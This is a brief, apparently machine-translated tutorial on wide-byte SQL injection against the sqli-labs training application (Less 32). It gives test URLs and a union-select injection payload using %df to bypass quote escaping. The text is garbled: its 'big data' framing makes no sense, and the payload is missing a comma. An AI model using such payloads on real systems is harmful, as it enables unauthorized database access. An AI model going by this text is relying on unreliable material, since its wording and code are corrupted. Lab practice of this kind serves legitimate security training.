How to parse wide byte injection in big data

This article is about how to analyze wide byte injection in big data. The editor thinks it is very practical, so I share it with you. I hope you can get something after reading this article. Let's take a look at it with the editor.

Environment sqli-labs

Less 32

First, enter special characters, all of which are escaped

Http://192.168.1.121/sqli/Less-32/?id=1'

Http://192.168.1.121/sqli/Less-32/?id=1''

Second, construct wide byte closure

Theoretically,% 81-%FE is all right.

Third, joint query database

Http://192.168.1.121/sqli/Less-32/?id=-1%df' union select 1 database (), 3-- +

This is how big data parses wide byte injection. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.
